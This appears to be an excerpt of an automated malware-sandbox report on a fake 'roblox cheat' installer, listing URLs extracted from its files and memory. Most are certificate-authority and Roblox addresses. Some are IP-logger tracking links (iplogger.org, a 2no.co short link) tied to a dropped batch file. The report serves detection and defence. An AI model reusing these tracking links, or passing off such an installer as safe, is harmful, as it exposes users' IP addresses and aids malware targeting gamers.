Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003F92000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448098395.0000000003F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001BE4000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448009865.0000000001BF1000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1453591906.0000000001C18000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447490712.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001BEF000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448775676.0000000001C1D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447470573.0000000001C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003F92000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448098395.0000000003F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447470573.0000000001C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447973577.0000000001C2E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1453858015.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448193902.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448775676.0000000001C1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: robloxPX1instaler.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447120080.0000000001C35000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: robloxPX1instaler.exe, 00000002.00000002.1453826248.0000000001C28000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447973577.0000000001C2E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1453858015.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448193902.0000000001C2F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447552442.0000000001C26000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448775676.0000000001C1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://tools.medialab.sciences-po.fr/iwanthue/index.php
Source: robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447120080.0000000001C35000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445969855.0000000001C1F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447470573.0000000001C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: robloxPX1instaler.exe, 00000002.00000003.1447017459.0000000003F62000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449706117.0000000003F63000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454276854.0000000003F64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447951731.0000000003F87000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447390699.0000000003F7B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447677703.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454321758.0000000003F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.0000000003FB3000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446558713.0000000003FB8000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449747424.0000000003FB9000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446944435.0000000003FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446970284.0000000001C1A000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447534893.0000000001C1B000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445880408.0000000001C01000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446536022.0000000001C13000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1260774727.0000000001C01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.roblox.com
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.roblox.com/
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.roblox.com/om
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://www.winimage.com/zLibDll
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: http://www.winimage.com/zLibDll1.2.11rbr
Source: chromecache_64.20.dr	String found in binary or memory: https://2no.co/
Source: cheatinstaler cheatinstalerF6R54T.exe, 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, coin.bat.3.dr	String found in binary or memory: https://2no.co/24RXx6
Source: cheatinstaler cheatinstalerF6R54T.exe, 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://2no.co/24RXx6H
Source: chromecache_64.20.dr	String found in binary or memory: https://2no.co/redirect-2
Source: chromecache_64.20.dr	String found in binary or memory: https://cdn.iplogger.org/favicon.ico
Source: chromecache_64.20.dr	String found in binary or memory: https://cdn.iplogger.org/redirect/brand.png
Source: chromecache_64.20.dr	String found in binary or memory: https://cdn.iplogger.org/redirect/handshake.png
Source: chromecache_64.20.dr	String found in binary or memory: https://cdn.iplogger.org/redirect/logo-dark.png
Source: robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp, roblox cheat.exe, robloxPX1instaler_DD2F4.log.2.dr, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://client-telemetry.roblox.com
Source: robloxPX1instaler.exe, 00000002.00000003.1446077514.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446318793.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449216456.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://client-telemetry.roblox.com9
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://client-telemetry.roblox.comA
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://client-telemetry.roblox.comHttpPointsReporterUrlBootstrapperWebView2InstallationTelemetryHun
Source: robloxPX1instaler.exe, 00000002.00000003.1446077514.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446318793.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449216456.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://client-telemetry.roblox.come
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://client-telemetry.roblox.cominatorey
Source: robloxPX1instaler_DD2F4.log.2.dr	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer
Source: robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerLMEMH
Source: robloxPX1instaler.exe, 00000002.00000003.1446077514.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446318793.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1445368599.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1449216456.000000000400D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454531878.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerons
Source: robloxPX1instaler.exe, 00000002.00000003.1447206724.0000000003FAB000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446863326.0000000003F8E000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454406604.0000000003FAB000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446944435.0000000003FA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayerpany
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448751210.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447771638.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454301246.0000000003F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/client-version/WindowsStudio64
Source: robloxPX1instaler.exe, 00000002.00000003.1446034121.0000000003F67000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448751210.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446787528.0000000003F69000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1447771638.0000000003F6F000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1446907771.0000000003F6D000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000002.1454301246.0000000003F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/client-version/WindowsStudio64x
Source: robloxPX1instaler_DD2F4.log.2.dr	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper
Source: robloxPX1instaler_DD2F4.log.2.dr	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper.
Source: robloxPX1instaler.exe, 00000002.00000003.1327018098.0000000001C0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapper.h
Source: robloxPX1instaler.exe, 00000002.00000003.1326917896.0000000004004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapperD
Source: robloxPX1instaler.exe, 00000002.00000003.1326917896.0000000004004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrapperate
Source: robloxPX1instaler.exe, 00000002.00000003.1326917896.0000000004004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clientsettingscdn.roblox.com/v2/settings/application/PCClientBootstrappere:0.0ms)
Source: chromecache_64.20.dr	String found in binary or memory: https://counter.yadro.ru/hit?
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://curl.se/docs/hsts.html
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://ecsv2.roblox.com/client/pbe
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr	String found in binary or memory: https://ecsv2.roblox.com/client/pbeTelemetryV2UrlRobloxTelemetrySendByBatchSizeRobloxTelemetryBatchS
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecsv2.roblox.com/client/pbeesInSec
Source: roblox cheat.exe, robloxPX1instaler.exe.0.dr, cacert.pem.2.dr	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/raw-file/default/security/nss/lib/ckfw/builtins/cert
Source: chromecache_64.20.dr	String found in binary or memory: https://iplogger.org/
Source: chromecache_64.20.dr	String found in binary or memory: https://iplogger.org/preview/7c00c9b3d049350da3aca75cf5f83229
Source: chromecache_64.20.dr	String found in binary or memory: https://iplogger.org/privacy/
Source: chromecache_64.20.dr	String found in binary or memory: https://iplogger.org/rules/
Source: robloxPX1instaler.exe.0.dr	String found in binary or memory: https://s3.amazonaws.com/
Source: robloxPX1instaler.exe.0.dr	String found in binary or memory: https://setup.rbxcdn.com
Source: robloxPX1instaler.exe, 00000002.00000002.1453315290.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, robloxPX1instaler.exe, 00000002.00000003.1448345674.0000000001B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://setup.rbxcdn.comw
